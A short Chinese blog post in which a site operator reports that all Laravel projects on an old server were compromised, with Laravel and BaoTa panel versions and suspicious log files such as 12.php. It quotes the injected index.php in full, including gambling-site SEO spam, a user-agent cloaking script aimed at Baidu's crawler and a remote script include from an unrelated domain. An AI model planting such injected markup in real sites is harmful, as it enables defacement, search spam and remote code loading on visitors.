最近一个老服务器里面的所有laravel项目全都被黑了。
特征主要是public文件夹被篡改。
index.php被修改成
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="applicable-device" content="pc" />
<meta name="mobile-agent" content="format=xhtml;url=http://crmtest.jsxunzhi.com/m.html">
<meta name="mobile-agent" content="format=html;url=http://crmtest.jsxunzhi.com/m.html">
<link rel="alternate" media="only screen and(max-width: px)" href="http://crmtest.jsxunzhi.com/m.html">
<title>j9九游会 ☛ 九游会官网</title>
<meta name="keywords" content="j9九游会官网 ● j9九游会注册 ● j9九游会官网app下载 ❤ j9九游会登录 ❤ j9九游会安卓app下载 ✔ j9九游会入口 ✔ j9九游会网址 ☻ j9九游会官方 ☻ j9九游会直播 ☻ j9九游会投注 ☛ j9九游会竞猜  ☛ j9九游会平台网站◀。"/>
<meta name="description" content="足球体育真人竞猜官网 ☛ ▶kb55●cc◀ j9九游会官网 ● j9九游会注册 ● j9九游会官网app下载 ❤ j9九游会登录 ❤ j9九游会安卓app下载 ✔ j9九游会入口 ✔ j9九游会网址 ☻ j9九游会官方 ☻ j9九游会直播 ☻ j9九游会投注 ☛ j9九游会竞猜  ☛ j9九游会平台网站◀。❥j9九游会为您提供体育最快速最全面最专业的体育新闻和赛事报道！❦ ☚☚☚☚☚☚☚仙女下凡☚"/>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -){document.title ="恭喜，站点创建成功！"}</script>
<script src="https://www.lianggexiaomubiao.vip/bb.js"></script>
<style>
.container {
width: 60%;
margin: 10% auto 0;
background-color: #f0f0f0;
padding: 2% 5%;
border-radius: 10px
}
ul {
padding-left: 20px;
}
ul li {
line-height: 2.3
}
a {
color: #20a53a
}
</style>
</head>
<body>
<div class="container">
<h1>恭喜, 站点创建成功！</h1>
<h3>这是默认index.html，本页面由系统自动生成</h3>
<ul>
<li>本页面在FTP根目录下的index.html</li>
<li>您可以修改、删除或覆盖本页面</li>
<li>FTP相关信息，请到“面板系统后台 > FTP” 查看</li>
<li>更多功能了解，请查看<a href="https://www.bt.cn" target="_blank">宝塔官网(www.bt.cn)</a></li>
</ul>
</div>
</body>
</html>laravel framework 版本v8.38.0
宝塔版本7.9.9
nginx访问日志，特征文件有
12.php
a.php之类
未找到原因
赞助一杯咖啡☕️ 
本文由 widdy 创作，采用 知识共享署名4.0 国际许可协议进行许可
本站文章除注明转载/出处外，均为本站原创或翻译，转载前请务必署名
最后编辑时间为: Jun 20, 2023 at 01:47 pm